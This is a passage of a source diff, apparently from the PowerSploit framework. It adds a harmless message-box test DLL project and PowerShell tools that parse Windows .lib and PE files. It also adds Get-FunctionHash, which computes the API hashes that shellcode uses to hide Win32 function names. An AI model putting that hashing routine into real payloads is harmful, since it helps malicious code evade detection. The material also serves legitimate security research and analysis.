</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<ExceptionHandling>Async</ExceptionHandling>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PostBuildEvent>
<Command>copy /y "$(TargetPath)" "$(SolutionDir)Bin\TestDLL_x86.dll"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>_DEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<ExceptionHandling>Async</ExceptionHandling>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PostBuildEvent>
<Command>copy /y "$(TargetPath)" "$(SolutionDir)Bin\TestDLL_x64.dll"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<ExceptionHandling>Async</ExceptionHandling>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
<PostBuildEvent>
<Command>copy /y "$(TargetPath)" "$(SolutionDir)Bin\TestDLL_x86.dll"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>NDEBUG;_WINDOWS;_USRDLL;TESTDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<ExceptionHandling>Async</ExceptionHandling>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
<PostBuildEvent>
<Command>copy /y "$(TargetPath)" "$(SolutionDir)Bin\TestDLL_x64.dll"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
+55
View File
@@ -0,0 +1,55 @@
#include <Windows.h>
#include <stdio.h>
DWORD threadID;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "DLLMain!", "We've started.", 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//extern "C" to prevent C++ name mangling
extern "C" __declspec(dllexport) BOOL SayGoodbye(LPVOID lpUserdata, DWORD nUserdataLen)
{
try {
int i = 0, j = 1;
j /= i; // This will throw a SE (divide by zero).
}
catch (...) {
MessageBoxA(NULL, "C++ Exception Thrown!", "Caught it", 0);
}
MessageBoxA(NULL, "I'm Leaving!", "Goodbye", 0);
return TRUE;
}
extern "C" __declspec(dllexport) BOOL SayHello(LPVOID lpUserdata, DWORD nUserdataLen)
{
if (nUserdataLen) {
DWORD length = 10 + nUserdataLen;
LPSTR greeting = (LPSTR)malloc(length);
sprintf_s(greeting, length, "Hello %s!", (LPSTR)lpUserdata);
MessageBoxA(NULL, greeting, "Hello", 0);
free(greeting);
}
else {
MessageBoxA(NULL, "I'm alive!", "Hello", 0);
}
return TRUE;
}
+14
View File
@@ -0,0 +1,14 @@
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
// Used by Resource.rc
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 101
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
+4
View File
@@ -0,0 +1,4 @@
# Ignore everything in this directory
*
# Except this file
!.gitignore
@@ -0,0 +1,135 @@
function Get-FunctionHash
{
<#
.SYNOPSIS
Outputs a module and function hash that can be passed to the
GetProcAddressWithHash function.
PowerSploit Function: Get-FunctionHash
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-FunctionHash calculates a hash that can be passed to
GetProcAddressWithHash - a C function that is used to resolve Win32
library functions. Passing a hash to a function address resolver
prevents plaintext strings from being sent in the clear in shellcode.
A python implementation of this algorithm is present in Meatsploit
will perform hash collision detection.
.PARAMETER Module
Specifies the module to be hashed. Be sure to include the file extension.
The module name will be normalized to upper case.
.PARAMETER Function
Specifies the function to be hashed. The function name is case-sensitive.
.PARAMETER RorValue
Specifies the value by which the hashing algorithm rotates right. The
range of possibles values is 1-31.
.EXAMPLE
Get-FunctionHash kernel32.dll LoadLibraryA
.OUTPUTS
System.String
Outputs a hexadecimal representation of the function hash.
.LINK
http://www.exploit-monday.com/
https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/hash.py
#>
[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Module,
[Parameter(Position = 1, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Function,
[Parameter(Position = 2)]
[ValidateRange(1, 31)]
[String]
$RorValue = 13
)
$MethodInfo = New-Object Reflection.Emit.DynamicMethod('Ror', [UInt32], @([UInt32], [UInt32]))
$ILGen = $MethodInfo.GetILGenerator(8)
# C# equivalent of: return x >> n | x << 32 - n;
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 31)
$ILGen.Emit([Reflection.Emit.OpCodes]::And)
$ILGen.Emit([Reflection.Emit.OpCodes]::Shr_Un)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 32)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
$ILGen.Emit([Reflection.Emit.OpCodes]::Sub)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 31)
$ILGen.Emit([Reflection.Emit.OpCodes]::And)
$ILGen.Emit([Reflection.Emit.OpCodes]::Shl)
$ILGen.Emit([Reflection.Emit.OpCodes]::Or)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ret)
$Delegate = [Func``3[UInt32, UInt32, UInt32]]
$Ror = $MethodInfo.CreateDelegate($Delegate)
$MethodInfo = New-Object Reflection.Emit.DynamicMethod('Add', [UInt32], @([UInt32], [UInt32]))
$ILGen = $MethodInfo.GetILGenerator(2)
# C# equivalent of: return x + y;
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
$ILGen.Emit([Reflection.Emit.OpCodes]::Add)
$ILGen.Emit([Reflection.Emit.OpCodes]::Ret)
$Add = $MethodInfo.CreateDelegate($Delegate)
$UnicodeEncoder = [Text.Encoding]::Unicode
$Module = $Module.ToUpper()
[Byte[]] $ModuleBytes = $UnicodeEncoder.GetBytes($Module) + [Byte[]] @(0, 0)
$ModuleHash = [UInt32] 0
# Iterate over each byte of the unicode module string including nulls
for ($i = 0; $i -lt $ModuleBytes.Length; $i++)
{
$ModuleHash = $Ror.Invoke($ModuleHash, 13)
$ModuleHash = $Add.Invoke($ModuleHash, $ModuleBytes[$i])
}
$AsciiEncoder = [Text.Encoding]::ASCII
[Byte[]] $FunctionBytes = $AsciiEncoder.GetBytes($Function) + @([Byte] 0)
$FunctionHash = [UInt32] 0
# Iterate over each byte of the function string including the null terminator
for ($i = 0; $i -lt $FunctionBytes.Length; $i++)
{
$FunctionHash = $Ror.Invoke($FunctionHash, $RorValue)
$FunctionHash = $Add.Invoke($FunctionHash, $FunctionBytes[$i])
}
# Add the function hash to the module hash
$FinalHash = $Add.Invoke($ModuleHash, $FunctionHash)
# Write out the hexadecimal representation of the hash
Write-Output "0x$($FinalHash.ToString('X8'))"
}
@@ -0,0 +1,282 @@
function Get-LibSymbols
{
<#
.SYNOPSIS
Displays symbolic information from Windows lib files.
PowerSploit Function: Get-LibSymbols
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-LibSymbols parses and returns symbols in Windows .lib files
in both decorated and undecorated form (for C++ functions).
.PARAMETER Path
Specifies a path to one or more lib file locations.
.EXAMPLE
C:\PS>Get-LibSymbols -Path msvcrt.lib
.EXAMPLE
C:\PS>ls *.lib | Get-LibSymbols
.INPUTS
System.String[]
You can pipe a file system path (in quotation marks) to Get-LibSymbols.
.OUTPUTS
COFF.SymbolInfo
.LINK
http://www.exploit-monday.com/
#>
[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateScript({ Test-Path $_ })]
[Alias('FullName')]
[String[]]
$Path
)
BEGIN
{
$Code = @'
using System;
using System.IO;
using System.Text;
using System.Runtime.InteropServices;
namespace COFF
{
public class HEADER
{
public ushort Machine;
public ushort NumberOfSections;
public DateTime TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public ushort Characteristics;
public HEADER(BinaryReader br)
{
this.Machine = br.ReadUInt16();
this.NumberOfSections = br.ReadUInt16();
this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32());
this.PointerToSymbolTable = br.ReadUInt32();
this.NumberOfSymbols = br.ReadUInt32();
this.SizeOfOptionalHeader = br.ReadUInt16();
this.Characteristics = br.ReadUInt16();
}
}
public class IMAGE_ARCHIVE_MEMBER_HEADER
{
public string Name;
public DateTime Date;
public ulong Size;
public string EndHeader;
public IMAGE_ARCHIVE_MEMBER_HEADER(BinaryReader br)
{
string tempName = Encoding.UTF8.GetString(br.ReadBytes(16));
DateTime dt = new DateTime(1970, 1, 1, 0, 0, 0);
this.Name = tempName.Substring(0, tempName.IndexOf((Char) 47));
this.Date = dt.AddSeconds(Convert.ToDouble(Encoding.UTF8.GetString(br.ReadBytes(12)).Split((Char) 20)[0]));
br.ReadBytes(20); // Skip over UserID, GroupID, and Mode. They are useless fields.
this.Size = Convert.ToUInt64(Encoding.UTF8.GetString(br.ReadBytes(10)).Split((Char) 20)[0]);
this.EndHeader = Encoding.UTF8.GetString(br.ReadBytes(2));
}
}
public class Functions
{
[DllImport("dbghelp.dll", SetLastError=true, PreserveSig=true)]
public static extern int UnDecorateSymbolName(
[In] [MarshalAs(UnmanagedType.LPStr)] string DecoratedName,
[Out] StringBuilder UnDecoratedName,
[In] [MarshalAs(UnmanagedType.U4)] uint UndecoratedLength,
[In] [MarshalAs(UnmanagedType.U4)] uint Flags);
}
}
'@
Add-Type -TypeDefinition $Code
function Dispose-Objects
{
$BinaryReader.Close()
$FileStream.Dispose()
}
}
PROCESS
{
foreach ($File in $Path)
{
# Resolve the absolute path of the lib file. [IO.File]::OpenRead requires an absolute path.
$LibFilePath = Resolve-Path $File
# Pull out just the file name
$LibFileName = Split-Path $LibFilePath -Leaf
$IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR = 60
$IMAGE_ARCHIVE_START = "!<arch>`n" # Magic used for lib files
$IMAGE_SIZEOF_LIB_HDR = $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR + $IMAGE_ARCHIVE_START.Length
$IMAGE_ARCHIVE_END = "```n" # Footer of an archive header
$SizeofCOFFFileHeader = 20
# Open the object file for reading
$FileStream = [IO.File]::OpenRead($LibFilePath)
$FileLength = $FileStream.Length
# Validate lib header size
if ($FileLength -lt $IMAGE_SIZEOF_LIB_HDR)
{
# You cannot parse the lib header if the file is not big enough to contain a lib header.
Write-Error "$($LibFileName) is too small to store a lib header."
$FileStream.Dispose()
return
}
# Open a BinaryReader object for the lib file
$BinaryReader = New-Object IO.BinaryReader($FileStream)
$ArchiveStart = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes(8))
if ($ArchiveStart -ne $IMAGE_ARCHIVE_START)
{
Write-Error "$($LibFileName) does not contain a valid lib header."
Dispose-Objects
return
}
# Parse the first archive header
$ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader)
if ($ArchiveHeader.EndHeader -ne $IMAGE_ARCHIVE_END)
{
Write-Error "$($LibFileName) does not contain a valid lib header."
Dispose-Objects
return
}
# Check for the existence of symbols
if ($ArchiveHeader.Size -eq 0)
{
Write-Warning "$($LibFileName) contains no symbols."
Dispose-Objects
return
}
$NumberOfSymbols = $BinaryReader.ReadBytes(4)
# The offsets in the first archive header of a Microsoft lib file are stored in big-endian format
if ([BitConverter]::IsLittleEndian)
{
[Array]::Reverse($NumberOfSymbols)
}
$NumberOfSymbols = [BitConverter]::ToUInt32($NumberOfSymbols, 0)
$SymbolOffsets = New-Object UInt32[]($NumberOfSymbols)
foreach ($Offset in 0..($SymbolOffsets.Length - 1))
{
$SymbolOffset = $BinaryReader.ReadBytes(4)
if ([BitConverter]::IsLittleEndian)
{
[Array]::Reverse($SymbolOffset)
}
$SymbolOffsets[$Offset] = [BitConverter]::ToUInt32($SymbolOffset, 0)
}
$SymbolStringLength = $ArchiveHeader.Size + $IMAGE_SIZEOF_LIB_HDR - $FileStream.Position - 1
# $SymbolStrings = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0)
# Write-Output $SymbolStrings
# There will be many duplicate offset entries. Remove them.
$SymbolOffsetsSorted = $SymbolOffsets | Sort-Object -Unique
$SymbolOffsetsSorted | ForEach-Object {
# Seek to the each repective offset in the file
$FileStream.Seek($_, 'Begin') | Out-Null
$ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader)
# This is not a true COFF header. It's the same size and mostly resembles a standard COFF header
# but Microsoft placed a marker (0xFFFF) in the first WORD to indicate that the 'object file'
# consists solely of the module name and symbol.
$CoffHeader = New-Object COFF.HEADER($BinaryReader)
# Check for 0xFFFF flag value
if ($CoffHeader.NumberOfSections -eq [UInt16]::MaxValue)
{
# Get the total length of the module and symbol name
$SymbolStringLength = $CoffHeader.NumberOfSymbols
$Symbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0)
$DecoratedSymbol = $Symbols[0]
$UndecoratedSymbol = ''
# Default to a 'C' type symbol unless it starts with a '?'
$SymbolType = 'C'
# Is the symbol a C++ type?
if ($DecoratedSymbol.StartsWith('?'))
{
$StrBuilder = New-Object Text.Stringbuilder(512)
# Magically undecorated the convoluted C++ symbol into a proper C++ function definition
[COFF.Functions]::UnDecorateSymbolName($DecoratedSymbol, $StrBuilder, $StrBuilder.Capacity, 0) | Out-Null
$UndecoratedSymbol = $StrBuilder.ToString()
$SymbolType = 'C++'
}
else
{
if ($DecoratedSymbol[0] -eq '_' -or $DecoratedSymbol[0] -eq '@')
{
$UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0]
}
else
{
$UndecoratedSymbol = $DecoratedSymbol.Split('@')[0]
}
}
$SymInfo = @{
DecoratedName = $DecoratedSymbol
UndecoratedName = $UndecoratedSymbol
Module = $Symbols[1]
SymbolType = $SymbolType
}
$ParsedSymbol = New-Object PSObject -Property $SymInfo
$ParsedSymbol.PSObject.TypeNames[0] = 'COFF.SymbolInfo'
Write-Output $ParsedSymbol
}
}
# Close file and binaryreader objects
Dispose-Objects
}
}
END {}
}
@@ -0,0 +1,292 @@
<?xml version="1.0" encoding="utf-8" ?>
<Configuration>
<ViewDefinitions>
<View>
<Name>ObjectFileView</Name>
<ViewSelectedBy>
<TypeName>COFF.OBJECT_FILE</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>COFFHeader</PropertyName>
</ListItem>
<ListItem>
<PropertyName>SectionHeaders</PropertyName>
</ListItem>
<ListItem>
<PropertyName>SymbolTable</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>COFFHeaderView</Name>
<ViewSelectedBy>
<TypeName>COFF.HEADER</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Machine</PropertyName>
</ListItem>
<ListItem>
<PropertyName>NumberOfSections</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</ListItem>
<ListItem>
<PropertyName>TimeDateStamp</PropertyName>
</ListItem>
<ListItem>
<PropertyName>PointerToSymbolTable</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>NumberOfSymbols</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>SizeOfOptionalHeader</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</ListItem>
<ListItem>
<PropertyName>Characteristics</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>SectionHeaderView</Name>
<ViewSelectedBy>
<TypeName>COFF.SECTION_HEADER</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Name</PropertyName>
</ListItem>
<ListItem>
<PropertyName>PhysicalAddress</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>VirtualSize</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>VirtualAddress</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>SizeOfRawData</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>PointerToRawData</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>PointerToRelocations</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>PointerToLinenumbers</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</ListItem>
<ListItem>
<PropertyName>NumberOfRelocations</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</ListItem>
<ListItem>
<PropertyName>NumberOfLinenumbers</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</ListItem>
<ListItem>
<PropertyName>Characteristics</PropertyName>
</ListItem>
<ListItem>
<PropertyName>RawData</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Relocations</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>SymbolTableView</Name>
<ViewSelectedBy>
<TypeName>COFF.SYMBOL_TABLE</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>Name</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Value</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>SectionNumber</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Type</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>StorageClass</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>NumberOfAuxSymbols</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>AuxSymbols</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<PropertyName>Name</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Value</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>SectionNumber</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Type</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>StorageClass</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>NumberOfAuxSymbols</PropertyName>
<FormatString>0x{0:X2}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>AuxSymbols</PropertyName>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
<View>
<Name>SectionDefinitionView</Name>
<ViewSelectedBy>
<TypeName>COFF.SECTION_DEFINITION</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>Length</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>NumberOfRelocations</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>NumberOfLinenumbers</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>CheckSum</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Number</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Selection</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<PropertyName>Length</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>NumberOfRelocations</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>NumberOfLinenumbers</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>CheckSum</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Number</PropertyName>
<FormatString>0x{0:X4}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Selection</PropertyName>
<FormatString>0x{0:X2}</FormatString>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
<View>
<Name>RelocationView</Name>
<ViewSelectedBy>
<TypeName>COFF.RelocationEntry</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>VirtualAddress</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>SymbolTableIndex</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Type</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Name</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<PropertyName>VirtualAddress</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>SymbolTableIndex</PropertyName>
<FormatString>0x{0:X8}</FormatString>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Type</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Name</PropertyName>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
</ViewDefinitions>
</Configuration>
+962
View File
@@ -0,0 +1,962 @@
function Get-PEHeader
{
<#
.SYNOPSIS
Parses and outputs the PE header of a process in memory or a PE file on disk.
PowerSploit Function: Get-PEHeader
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: PETools.format.ps1xml
.DESCRIPTION
Get-PEHeader retrieves PE headers including imports and exports from either a file on disk or a module in memory. Get-PEHeader will operate on single PE header but you can also feed it the output of Get-ChildItem or Get-Process! Get-PEHeader works on both 32 and 64-bit modules.
.PARAMETER FilePath
Specifies the path to the portable executable file on disk
.PARAMETER ProcessID
Specifies the process ID.
.PARAMETER Module
The name of the module. This parameter is typically only used in pipeline expressions
.PARAMETER ModuleBaseAddress
The base address of the module
.PARAMETER GetSectionData
Retrieves raw section data.
.OUTPUTS
System.Object
Returns a custom object consisting of the following: compile time, section headers, module name, DOS header, imports, exports, file header, optional header, and PE signature.
.EXAMPLE
C:\PS> Get-Process cmd | Get-PEHeader
Description
-----------
Returns the full PE headers of every loaded module in memory
.EXAMPLE
C:\PS> Get-ChildItem C:\Windows\*.exe | Get-PEHeader
Description
-----------
Returns the full PE headers of every exe in C:\Windows\
.EXAMPLE
C:\PS> Get-PEHeader C:\Windows\System32\kernel32.dll
Module : C:\Windows\System32\kernel32.dll
DOSHeader : PE+_IMAGE_DOS_HEADER
FileHeader : PE+_IMAGE_FILE_HEADER
OptionalHeader : PE+_IMAGE_OPTIONAL_HEADER32
SectionHeaders : {.text, .data, .rsrc, .reloc}
Imports : {@{Ordinal=; FunctionName=RtlUnwind; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.
dll; VA=0x000CB630}, @{Ordinal=; FunctionName=RtlCaptureContext; ModuleName=API-MS
-Win-Core-RtlSupport-L1-1-0.dll; VA=0x000CB63C}, @{Ordinal=; FunctionName=RtlCaptu
reStackBackTrace; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.dll; VA=0x000CB650}
, @{Ordinal=; FunctionName=NtCreateEvent; ModuleName=ntdll.dll; VA=0x000CB66C}...}
Exports : {@{ForwardedName=; FunctionName=lstrlenW; Ordinal=0x0552; VA=0x0F022708}, @{Forwar
dedName=; FunctionName=lstrlenA; Ordinal=0x0551; VA=0x0F026A23}, @{ForwardedName=;
FunctionName=lstrlen; Ordinal=0x0550; VA=0x0F026A23}, @{ForwardedName=; FunctionN
ame=lstrcpynW; Ordinal=0x054F; VA=0x0F04E54E}...}
.EXAMPLE
C:\PS> $Proc = Get-Process cmd
C:\PS> $Kernel32Base = ($Proc.Modules | Where-Object {$_.ModuleName -eq 'kernel32.dll'}).BaseAddress
C:\PS> Get-PEHeader -ProcessId $Proc.Id -ModuleBaseAddress $Kernel32Base
Module :
DOSHeader : PE+_IMAGE_DOS_HEADER
FileHeader : PE+_IMAGE_FILE_HEADER
OptionalHeader : PE+_IMAGE_OPTIONAL_HEADER32
SectionHeaders : {.text, .data, .rsrc, .reloc}
Imports : {@{Ordinal=; FunctionName=RtlUnwind; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.
dll; VA=0x77B8B6D9}, @{Ordinal=; FunctionName=RtlCaptureContext; ModuleName=API-MS
-Win-Core-RtlSupport-L1-1-0.dll; VA=0x77B8B4CB}, @{Ordinal=; FunctionName=RtlCaptu
reStackBackTrace; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.dll; VA=0x77B95277}
